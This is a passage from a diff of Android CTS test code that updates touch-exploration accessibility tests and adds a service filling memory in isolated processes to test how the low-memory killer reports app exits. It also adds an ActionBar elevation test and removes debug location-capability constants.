 import android.view.ViewConfiguration;
 import android.view.WindowManager;
@@ -87,8 +77,6 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
-import java.util.List;
-
 /**
  * A set of tests for testing touch exploration. Each test dispatches a gesture and checks for the
  * appropriate hover and/or touch events followed by the appropriate accessibility events. Some
@@ -99,12 +87,12 @@
 public class TouchExplorerTest {
     // Constants
     private static final float GESTURE_LENGTH_INCHES = 1.0f;
-    private static final int SWIPE_TIME_MILLIS = 400;
     private TouchExplorationStubAccessibilityService mService;
     private Instrumentation mInstrumentation;
     private UiAutomation mUiAutomation;
     private boolean mHasTouchscreen;
     private boolean mScreenBigEnough;
+    private long mSwipeTimeMillis;
     private EventCapturingHoverListener mHoverListener = new EventCapturingHoverListener(false);
     private EventCapturingTouchListener mTouchListener = new EventCapturingTouchListener(false);
     private EventCapturingClickListener mClickListener = new EventCapturingClickListener();
@@ -115,17 +103,16 @@
             new ActivityTestRule<>(GestureDispatchActivity.class, false);
 
     private InstrumentedAccessibilityServiceTestRule<TouchExplorationStubAccessibilityService>
-            mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
-                    TouchExplorationStubAccessibilityService.class, false);
+            mServiceRule =
+                    new InstrumentedAccessibilityServiceTestRule<>(
+                            TouchExplorationStubAccessibilityService.class, false);
 
     private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
             new AccessibilityDumpOnFailureRule();
 
     @Rule
-    public final RuleChain mRuleChain = RuleChain
-            .outerRule(mActivityRule)
-            .around(mServiceRule)
-            .around(mDumpOnFailureRule);
+    public final RuleChain mRuleChain =
+            RuleChain.outerRule(mActivityRule).around(mServiceRule).around(mDumpOnFailureRule);
 
     Point mCenter; // Center of screen. Gestures all start from this point.
     PointF mTapLocation;
@@ -135,11 +122,13 @@
     @Before
     public void setUp() throws Exception {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
-        mUiAutomation = mInstrumentation.getUiAutomation(
-            UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+        mUiAutomation =
+                mInstrumentation.getUiAutomation(
+                        UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
         PackageManager pm = mInstrumentation.getContext().getPackageManager();
-        mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
-                || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+        mHasTouchscreen =
+                pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
+                        || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
         // Find screen size, check that it is big enough for gestures.
         // Gestures will start in the center of the screen, so we need enough horiz/vert space.
         WindowManager windowManager =
@@ -147,8 +136,6 @@
                         mInstrumentation.getContext().getSystemService(Context.WINDOW_SERVICE);
         final DisplayMetrics metrics = new DisplayMetrics();
         windowManager.getDefaultDisplay().getRealMetrics(metrics);
-        mCenter = new Point((int) metrics.widthPixels / 2, (int) metrics.heightPixels / 2);
-        mTapLocation = new PointF(mCenter);
         mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES);
         if (!mHasTouchscreen || !mScreenBigEnough) return;
         mService = mServiceRule.enableService();
@@ -157,7 +144,15 @@
         mView.setOnTouchListener(mTouchListener);
         mInstrumentation.runOnMainSync(
                 () -> {
-                    mSwipeDistance = mView.getWidth() / 4;
+                    int[] viewLocation = new int[2];
+                    mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
+                    final int midX = mView.getWidth() / 2;
+                    final int midY = mView.getHeight() / 2;
+                    mView.getLocationOnScreen(viewLocation);
+                    mCenter = new Point(viewLocation[0] + midX, viewLocation[1] + midY);
+                    mTapLocation = new PointF(mCenter);
+                    mSwipeDistance = (viewLocation[0] + mView.getWidth()) / 4;
+                    mSwipeTimeMillis = (long) mSwipeDistance * 4;
                     mView.setOnClickListener(mClickListener);
                     mView.setOnLongClickListener(mLongClickListener);
                 });
@@ -168,7 +163,7 @@
     @AppModeFull
     public void testSlowSwipe_initiatesTouchExploration() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
-        dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0), SWIPE_TIME_MILLIS));
+        dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0), mSwipeTimeMillis));
         mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_MOVE, ACTION_HOVER_EXIT);
         mTouchListener.assertNonePropagated();
         mService.assertPropagated(
@@ -212,29 +207,9 @@
         final PointF finger2Start = add(dragStart, -twoFingerOffset, 0);
         final PointF finger2End = add(finger2Start, 0, mSwipeDistance);
         dispatch(
-                swipe(finger1Start, finger1End, SWIPE_TIME_MILLIS),
-                swipe(finger2Start, finger2End, SWIPE_TIME_MILLIS));
-        List<MotionEvent> twoFingerPoints = mTouchListener.getRawEvents();
-
-        // Check the drag events performed by a two finger drag. The moving locations would be
-        // adjusted to the middle of two fingers.
-        final int numEvents = twoFingerPoints.size();
-        final int upEventIndex = numEvents - 1;
-        final float stepDuration =
-                (float)
-                        (twoFingerPoints.get(1).getEventTime()
-                                - twoFingerPoints.get(0).getEventTime());
-        final float gestureDuration =
-                (float)
-                        (twoFingerPoints.get(upEventIndex).getEventTime()
-                                - twoFingerPoints.get(0).getEventTime());
-        final float intervalFraction =
-                stepDuration * (mSwipeDistance / gestureDuration) / gestureDuration;
-        PointF downPoint = add(dragStart, ceil(times(intervalFraction, diff(dragEnd, dragStart))));
-        assertThat(twoFingerPoints.get(0), both(IS_ACTION_DOWN).and(isRawAtPoint(downPoint, 1.0f)));
-        assertThat(
-                twoFingerPoints.get(upEventIndex),
-                both(IS_ACTION_UP).and(isRawAtPoint(finger2End, 1.0f)));
+                swipe(finger1Start, finger1End, mSwipeTimeMillis),
+                swipe(finger2Start, finger2End, mSwipeTimeMillis));
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
     }
 
     /** Test a basic single tap which should initiate touch exploration. */
@@ -301,51 +276,27 @@
     }
 
     /**
-     * Test the case where we double tap but there is no  accessibility focus. Nothing should
-     * happen.
+     * Test the case where we double tap but there is no accessibility focus. Nothing should happen.
      */
     @Test
     @AppModeFull
-    public void testDoubleTapNoAccessibilityFocus_doesNotPerformClick() {
+    public void testDoubleTapNoFocus_doesNotPerformClick() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
         dispatch(doubleTap(mTapLocation));
         mHoverListener.assertNonePropagated();
         mTouchListener.assertNonePropagated();
-        mService.assertPropagated(
-                 TYPE_TOUCH_INTERACTION_START, TYPE_TOUCH_INTERACTION_END);
+        mService.assertPropagated(TYPE_TOUCH_INTERACTION_START, TYPE_TOUCH_INTERACTION_END);
         mService.clearEvents();
         mClickListener.assertNoneClicked();
     }
 
     /**
-     * Test the case where we want to long click on the item that has accessibility focus. Note that
-     * this test does not request that double tap and hold be dispatched to the accessibility
-     * service, meaning that it will be handled by the framework and the view will be long clicked.
+     * Test the case where we double tap and hold but there is no accessibility focus. Nothing
+     * should happen.
      */
     @Test
     @AppModeFull
-    public void testDoubleTapAndHoldAccessibilityFocus_performsLongClick() {
-        if (!mHasTouchscreen || !mScreenBigEnough) return;
-        syncAccessibilityFocusToInputFocus();
-        dispatch(doubleTapAndHold(mTapLocation));
-        mHoverListener.assertNonePropagated();
-        // The click should not be delivered via touch events in this case.
-        mTouchListener.assertNonePropagated();
-        mService.assertPropagated(
-                TYPE_VIEW_ACCESSIBILITY_FOCUSED,
-                TYPE_TOUCH_INTERACTION_START,
-                TYPE_VIEW_LONG_CLICKED,
-                TYPE_TOUCH_INTERACTION_END);
-        mLongClickListener.assertLongClicked(mView);
-    }
-
-    /**
-     * Test the case where we double tap and hold but there is no accessibility focus.
-     * Nothing should happen.
-     */
-    @Test
-    @AppModeFull
-    public void testDoubleTapAndHoldNoAccessibilityFocus_doesNotPerformLongClick() {
+    public void testDoubleTapAndHoldNoFocus_doesNotPerformLongClick() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
         dispatch(doubleTap(mTapLocation));
         mHoverListener.assertNonePropagated();
@@ -385,6 +336,63 @@
     }
 
     /**
+     * Test the case where we double tap and no item has accessibility focus, so TouchExplorer sends
+     * touch events to the last touch-explored coordinates to simulate a click.
+     */
+    @Test
+    @AppModeFull
+    public void testDoubleTapNoAccessibilityFocus_sendsTouchEvents() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        // Do a single tap so there is a valid last touch-explored location.
+        dispatch(click(mTapLocation));
+        mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+        // We don't really care about these events but we need to make sure all the events we want
+        // to clear have arrived before we clear them.
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_END,
+                TYPE_TOUCH_INTERACTION_END);
+        mService.clearEvents();
+        dispatch(doubleTap(mTapLocation));
+        mHoverListener.assertNonePropagated();
+        // The click gets delivered as a series of touch events.
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START, TYPE_TOUCH_INTERACTION_END, TYPE_VIEW_CLICKED);
+        mClickListener.assertClicked(mView);
+    }
+
+    /**
+     * Test the case where we double tap and hold and no item has accessibility focus, so
+     * TouchExplorer sends touch events to the last touch-explored coordinates to simulate a long
+     * click.
+     */
+    @Test
+    @AppModeFull
+    public void testDoubleTapAndHoldNoAccessibilityFocus_sendsTouchEvents() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        // Do a single tap so there is a valid last touch-explored location.
+        dispatch(click(mTapLocation));
+        mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+        // We don't really care about these events but we need to make sure all the events we want
+        // to clear have arrived before we clear them.
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_END,
+                TYPE_TOUCH_INTERACTION_END);
+        mService.clearEvents();
+        dispatch(doubleTapAndHold(mTapLocation));
+        mHoverListener.assertNonePropagated();
+        // The click gets delivered as a series of touch events.
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START, TYPE_VIEW_LONG_CLICKED, TYPE_TOUCH_INTERACTION_END);
+        mLongClickListener.assertLongClicked(mView);
+    }
+
+    /**
      * Test the case where we want to double tap using a second finger without triggering touch
      * exploration.
      */
@@ -429,9 +437,9 @@
         PointF finger2End = add(mTapLocation, 0, mSwipeDistance);
         PointF finger3Start = add(mTapLocation, mSwipeDistance, 0);
         PointF finger3End = add(mTapLocation, mSwipeDistance, mSwipeDistance);
-        StrokeDescription swipe1 = swipe(finger1Start, finger1End, SWIPE_TIME_MILLIS);
-        StrokeDescription swipe2 = swipe(finger2Start, finger2End, SWIPE_TIME_MILLIS);
-        StrokeDescription swipe3 = swipe(finger3Start, finger3End, SWIPE_TIME_MILLIS);
+        StrokeDescription swipe1 = swipe(finger1Start, finger1End, mSwipeTimeMillis);
+        StrokeDescription swipe2 = swipe(finger2Start, finger2End, mSwipeTimeMillis);
+        StrokeDescription swipe3 = swipe(finger3Start, finger3End, mSwipeTimeMillis);
         dispatch(swipe1, swipe2, swipe3);
         mHoverListener.assertNonePropagated();
         mTouchListener.assertPropagated(
@@ -456,10 +464,10 @@
         // Move two fingers towards eacher slowly.
         PointF finger1Start = add(mTapLocation, -mSwipeDistance, 0);
         PointF finger1End = add(mTapLocation, -10, 0);
-        StrokeDescription swipe1 = swipe(finger1Start, finger1End, SWIPE_TIME_MILLIS);
+        StrokeDescription swipe1 = swipe(finger1Start, finger1End, mSwipeTimeMillis);
         PointF finger2Start = add(mTapLocation, mSwipeDistance, 0);
         PointF finger2End = add(mTapLocation, 10, 0);
-        StrokeDescription swipe2 = swipe(finger2Start, finger2End, SWIPE_TIME_MILLIS);
+        StrokeDescription swipe2 = swipe(finger2Start, finger2End, mSwipeTimeMillis);
         dispatch(swipe1, swipe2);
         mHoverListener.assertNonePropagated();
         mTouchListener.assertPropagated(
diff --git a/tests/app/AppExitTest/AndroidManifest.xml b/tests/app/AppExitTest/AndroidManifest.xml
index 4606ca5..64a1ab8 100644
--- a/tests/app/AppExitTest/AndroidManifest.xml
+++ b/tests/app/AppExitTest/AndroidManifest.xml
@@ -24,6 +24,10 @@
 
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
+        <service android:name="android.app.cts.MemoryConsumerService"
+                android:exported="true"
+                android:isolatedProcess="true">
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index bd9e5af..cbded8b 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -30,6 +30,7 @@
 import android.externalservice.common.RunningServiceInfo;
 import android.externalservice.common.ServiceMessages;
 import android.os.AsyncTask;
+import android.os.Binder;
 import android.os.Bundle;
 import android.os.DropBoxManager;
 import android.os.Handler;
@@ -44,12 +45,12 @@
 import android.os.UserManager;
 import android.provider.Settings;
 import android.server.wm.settings.SettingsSession;
-import android.system.Os;
 import android.system.OsConstants;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
 import android.util.DebugUtils;
 import android.util.Log;
+import android.util.Pair;
 
 import com.android.compatibility.common.util.AmMonitor;
 import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -58,9 +59,7 @@
 import com.android.internal.util.MemInfoReader;
 
 import java.io.BufferedInputStream;
-import java.io.FileDescriptor;
 import java.io.IOException;
-import java.nio.DirectByteBuffer;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
@@ -131,6 +130,8 @@
     private UserHandle mOtherUserHandle;
     private DropBoxManager.Entry mAnrEntry;
     private SettingsSession<String> mDataAnrSettings;
+    private SettingsSession<String> mHiddenApiSettings;
+    private int mProcSeqNum;
 
     @Override
     protected void setUp() throws Exception {
@@ -154,6 +155,11 @@
                         Settings.Global.DROPBOX_TAG_PREFIX + "data_app_anr"),
                 Settings.Global::getString, Settings.Global::putString);
         mDataAnrSettings.set("enabled");
+        mHiddenApiSettings = new SettingsSession<>(
+                Settings.Global.getUriFor(
+                        Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS),
+                Settings.Global::getString, Settings.Global::putString);
+        mHiddenApiSettings.set("*");
     }
 
     private void handleMessagePid(Message msg) {
@@ -217,6 +223,9 @@
         if (mDataAnrSettings != null) {
             mDataAnrSettings.close();
         }
+        if (mHiddenApiSettings != null) {
+            mHiddenApiSettings.close();
+        }
     }
 
     private int createUser(String name, boolean guest) throws Exception {
@@ -391,47 +400,37 @@
                 ApplicationExitInfo.REASON_EXIT_SELF, EXIT_CODE, null, now, now2);
     }
 
-    private List<ApplicationExitInfo> fillUpMemoryAndCheck(ArrayList<Long> addresses)
-            throws Exception {
-        List<ApplicationExitInfo> list = null;
-        // Get the meminfo firstly
-        MemInfoReader reader = new MemInfoReader();
-        reader.readMemInfo();
+    private List<ServiceConnection> fillUpMemoryAndCheck(
+            final MemoryConsumerService.TestFuncInterface testFunc,
+            final List<ApplicationExitInfo> list) throws Exception {
+        final String procNamePrefix = "memconsumer_";
+        final ArrayList<ServiceConnection> memConsumers = new ArrayList<>();
+        Pair<IBinder, ServiceConnection> p = MemoryConsumerService.bindToService(
+                mContext, testFunc, procNamePrefix + mProcSeqNum++);
+        IBinder consumer = p.first;
+        memConsumers.add(p.second);
 
-        long totalMb = (reader.getFreeSizeKb() + reader.getCachedSizeKb()) >> 10;
-        final int pageSize = 4096;
-        final int oneMb = 1024 * 1024;
+        while (list.size() == 0) {
+            // Get the meminfo firstly
+            MemInfoReader reader = new MemInfoReader();
+            reader.readMemInfo();
 
-        // Create an empty fd -1
-        FileDescriptor fd = new FileDescriptor();
-
-        // Okay now start a loop to allocate 1MB each time and check if our process is gone.
-        for (long i = 0; i < totalMb; i++) {
-            long addr = Os.mmap(0, oneMb, OsConstants.PROT_WRITE,
-                    OsConstants.MAP_PRIVATE | OsConstants.MAP_ANONYMOUS, fd, 0);
-            if (addr == 0) {
-                break;
+            long totalMb = (reader.getFreeSizeKb() + reader.getCachedSizeKb()) >> 10;
+            if (!MemoryConsumerService.runOnce(consumer, totalMb) && list.size() == 0) {
+                // Need to create a new consumer (the present one might be running out of space)
+                p = MemoryConsumerService.bindToService(mContext, testFunc,
+                        procNamePrefix + mProcSeqNum++);
+                consumer = p.first;
+                memConsumers.add(p.second);
             }
-            addresses.add(addr);
-
-            // We don't have direct access to Memory.pokeByte() though
-            DirectByteBuffer buf = new DirectByteBuffer(oneMb, addr, fd, null, false);
-
-            // Dirt the buffer
-            for (int j = 0; j < oneMb; j += pageSize) {
-                buf.put(j, (byte) 0xf);
-            }
-
-            // Check if we could get the report
-            list = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                    STUB_PACKAGE_NAME, mStubPackagePid, 1,
-                    mActivityManager::getHistoricalProcessExitReasons,
-                    android.Manifest.permission.DUMP);
-            if (list != null && list.size() == 1) {
+            // make sure we have cached process killed
+            String output = executeShellCmd("dumpsys activity lru");
+            if (output == null && output.indexOf(" cch+") == -1) {
                 break;
             }
         }
-        return list;
+
+        return memConsumers;
     }
 
     public void testLmkdKill() throws Exception {
@@ -444,23 +443,32 @@
         // Start a process and do nothing
         startService(ACTION_FINISH, STUB_SERVICE_NAME, false, false);
 
-        final int oneMb = 1024 * 1024;
-        ArrayList<Long> addresses = new ArrayList<Long>();
-        List<ApplicationExitInfo> list = fillUpMemoryAndCheck(addresses);
+        final ArrayList<IBinder> memConsumers = new ArrayList<>();
+        List<ApplicationExitInfo> list = new ArrayList<>();
+        final MemoryConsumerService.TestFuncInterface testFunc =
+                new MemoryConsumerService.TestFuncInterface(() -> {
+                    final long token = Binder.clearCallingIdentity();
+                    try {
+                        List<ApplicationExitInfo> result =
+                                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                                        STUB_PACKAGE_NAME, mStubPackagePid, 1,
+                                        mActivityManager::getHistoricalProcessExitReasons,
+                                        android.Manifest.permission.DUMP);
+                        if (result != null && result.size() == 1) {
+                            list.add(result.get(0));
+                            return true;
+                        }
+                    } finally {
+                        Binder.restoreCallingIdentity(token);
+                    }
+                    return false;
+                });
 
-        while (list == null || list.size() == 0) {
-            // make sure we have cached process killed
-            String output = executeShellCmd("dumpsys activity lru");
-            if (output == null && output.indexOf(" cch+") == -1) {
-                break;
-            }
-            // try again since the system might have reclaimed some ram
-            list = fillUpMemoryAndCheck(addresses);
-        }
+        List<ServiceConnection> services = fillUpMemoryAndCheck(testFunc, list);
 
-        // Free all the buffers firstly
-        for (int i = addresses.size() - 1; i >= 0; i--) {
-            Os.munmap(addresses.get(i), oneMb);
+        // Unbind all the service connections firstly
+        for (int i = services.size() - 1; i >= 0; i--) {
+            mContext.unbindService(services.get(i));
         }
 
         long now2 = System.currentTimeMillis();
diff --git a/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java b/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java
new file mode 100644
index 0000000..cca0fac
--- /dev/null
+++ b/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.AsyncTask;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
+import android.util.Log;
+import android.util.Pair;
+
+import java.io.FileDescriptor;
+import java.nio.DirectByteBuffer;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.BooleanSupplier;
+
+public class MemoryConsumerService extends Service {
+    private static final String TAG = MemoryConsumerService.class.getSimpleName();
+
+    private static final int ACTION_RUN_ONCE = IBinder.FIRST_CALL_TRANSACTION;
+    private static final String EXTRA_BUNDLE = "bundle";
+    private static final String EXTRA_TEST_FUNC = "test_func";
+
+    private IBinder mTestFunc;
+
+    private IBinder mBinder = new Binder() {
+        @Override
+        protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                throws RemoteException {
+            switch (code) {
+                case ACTION_RUN_ONCE:
+                    reply.writeBoolean(fillUpMemoryAndCheck(data.readLong(), mTestFunc));
+                    return true;
+                default:
+                    return false;
+            }
+        }
+    };
+
+    static class TestFuncInterface extends Binder {
+        static final int ACTION_TEST = IBinder.FIRST_CALL_TRANSACTION;
+
+        private final BooleanSupplier mTestFunc;
+
+        TestFuncInterface(final BooleanSupplier testFunc) {
+            mTestFunc = testFunc;
+        }
+
+        @Override
+        protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                throws RemoteException {
+            switch (code) {
+                case ACTION_TEST:
+                    reply.writeBoolean(mTestFunc.getAsBoolean());
+                    return true;
+                default:
+                    return false;
+            }
+        }
+    }
+
+    private boolean fillUpMemoryAndCheck(final long totalMb, final IBinder testFunc) {
+        final int pageSize = 4096;
+        final int oneMb = 1024 * 1024;
+
+        // Create an empty fd -1
+        FileDescriptor fd = new FileDescriptor();
+
+        // Okay now start a loop to allocate 1MB each time and check if our process is gone.
+        for (long i = 0; i < totalMb; i++) {
+            long addr = 0L;
+            try {
+                addr = Os.mmap(0, oneMb, OsConstants.PROT_WRITE,
+                        OsConstants.MAP_PRIVATE | OsConstants.MAP_ANONYMOUS, fd, 0);
+            } catch (ErrnoException e) {
+                Log.d(TAG, "mmap returns " + e.errno);
+                if (e.errno == OsConstants.ENOMEM) {
+                    // Running out of address space?
+                    return false;
+                }
+            }
+            if (addr == 0) {
+                return false;
+            }
+
+            // We don't have direct access to Memory.pokeByte() though
+            DirectByteBuffer buf = new DirectByteBuffer(oneMb, addr, fd, null, false);
+
+            // Dirt the buffer
+            for (int j = 0; j < oneMb; j += pageSize) {
+                buf.put(j, (byte) 0xf);
+            }
+
+            // Test to see if we could stop
+            Parcel data = Parcel.obtain();
+            Parcel reply = Parcel.obtain();
+            try {
+                testFunc.transact(TestFuncInterface.ACTION_TEST, data, reply, 0);
+                if (reply.readBoolean()) {
+                    break;
+                }
+            } catch (RemoteException e) {
+                // Ignore
+            } finally {
+                data.recycle();
+                reply.recycle();
+            }
+        }
+        return true;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        final Bundle bundle = intent.getBundleExtra(EXTRA_BUNDLE);
+        mTestFunc = bundle.getBinder(EXTRA_TEST_FUNC);
+        return mBinder;
+    }
+
+    static Pair<IBinder, ServiceConnection> bindToService(final Context context,
+            final TestFuncInterface testFunc, String instanceName) throws Exception {
+        final Intent intent = new Intent();
+        intent.setClass(context, MemoryConsumerService.class);
+        final Bundle bundle = new Bundle();
+        bundle.putBinder(EXTRA_TEST_FUNC, testFunc);
+        intent.putExtra(EXTRA_BUNDLE, bundle);
+        final String keyIBinder = "ibinder";
+        final Bundle holder = new Bundle();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ServiceConnection conn = new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                holder.putBinder(keyIBinder, service);
+                latch.countDown();
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+            }
+        };
+        context.bindIsolatedService(intent, Context.BIND_AUTO_CREATE,
+                instanceName, AsyncTask.THREAD_POOL_EXECUTOR, conn);
+        latch.await(10_000, TimeUnit.MILLISECONDS);
+        return new Pair<>(holder.getBinder(keyIBinder), conn);
+    }
+
+    static boolean runOnce(final IBinder binder, final long totalMb) {
+        final Parcel data = Parcel.obtain();
+        final Parcel reply = Parcel.obtain();
+
+        try {
+            data.writeLong(totalMb);
+            binder.transact(ACTION_RUN_ONCE, data, reply, 0);
+            return reply.readBoolean();
+        } catch (RemoteException e) {
+            return false;
+        } finally {
+            data.recycle();
+            reply.recycle();
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/ActionBarTest.java b/tests/app/src/android/app/cts/ActionBarTest.java
index ee28c27..f3d2846 100644
--- a/tests/app/src/android/app/cts/ActionBarTest.java
+++ b/tests/app/src/android/app/cts/ActionBarTest.java
@@ -124,6 +124,21 @@
         assertFalse(menuIsVisible[0]);
     }
 
+    @UiThreadTest
+    public void testElevation() {
+        if (mBar == null) {
+            return;
+        }
+        final float oldElevation = mBar.getElevation();
+        try {
+            final float newElevation = 42;
+            mBar.setElevation(newElevation);
+            assertEquals(newElevation, mBar.getElevation());
+        } finally {
+            mBar.setElevation(oldElevation);
+        }
+    }
+
     private Tab createTab(String name) {
         return mBar.newTab().setText("Tab 1").setTabListener(new TestTabListener());
     }
diff --git a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
index 748442d..28611c5 100644
--- a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
+++ b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
@@ -83,9 +83,6 @@
     private static final int WAITFOR_MSEC = 10000;
     private static final int NOTEOP_COUNT = 5;
 
-    //TODO: remove this when development is done.
-    private static final int DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION = 1 << 31;
-
     private static final Instrumentation sInstrumentation =
             InstrumentationRegistry.getInstrumentation();
     private static final Context sContext = sInstrumentation.getContext();
@@ -209,7 +206,7 @@
         // Wait for state and capability change.
         // BG started FGS does not have location capability.
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
-                new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                new Integer(PROCESS_CAPABILITY_NONE));
 
         startSimpleActivity();
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP,
@@ -220,7 +217,7 @@
 
         stopSimpleActivity();
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
-                new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                new Integer(PROCESS_CAPABILITY_NONE));
 
         // AppOps location access should be denied.
         assertEquals(MODE_IGNORED, noteOp(OPSTR_COARSE_LOCATION));
@@ -265,7 +262,7 @@
         stopSimpleActivity();
         // The callingPackage to start FGS is in background.
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
-                new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                new Integer(PROCESS_CAPABILITY_NONE));
         for (int i = 0; i < NOTEOP_COUNT; i++) {
             noteOp(OPSTR_COARSE_LOCATION);
         }
@@ -309,7 +306,7 @@
         startSimpleService();
         // Wait for state and capability change.
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
-                new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                new Integer(PROCESS_CAPABILITY_NONE));
 
         // Non-Top started FGS do not have while-in-use permission, camera/microphone access is
         // denied.
@@ -329,7 +326,7 @@
         // Tell the activity to finalize.
         stopSimpleActivity();
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
-                new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                new Integer(PROCESS_CAPABILITY_NONE));
 
         // App not in Top, camera/microphone access should be denied.
         assertEquals(MODE_IGNORED, noteOp(OPSTR_CAMERA));
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 9a4cb3a..9302e67 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -37,10 +37,6 @@
     private static final String PACKAGE_NAME_APP1 = "com.android.app1";
     private static final String PACKAGE_NAME_APP2 = "com.android.app2";
     private static final String PACKAGE_NAME_APP3 = "com.android.app3";
-
-    //TODO: remove this when development is done.
-    private static final int DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION = 1 << 31;
-
     private static final String ACTION_START_FGS_RESULT =
             "android.app.stubs.LocalForegroundService.RESULT";
     private static final String ACTION_START_FGSL_RESULT =
@@ -91,7 +87,7 @@
             // Package1 is in FGS state, but won't get location capability.
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
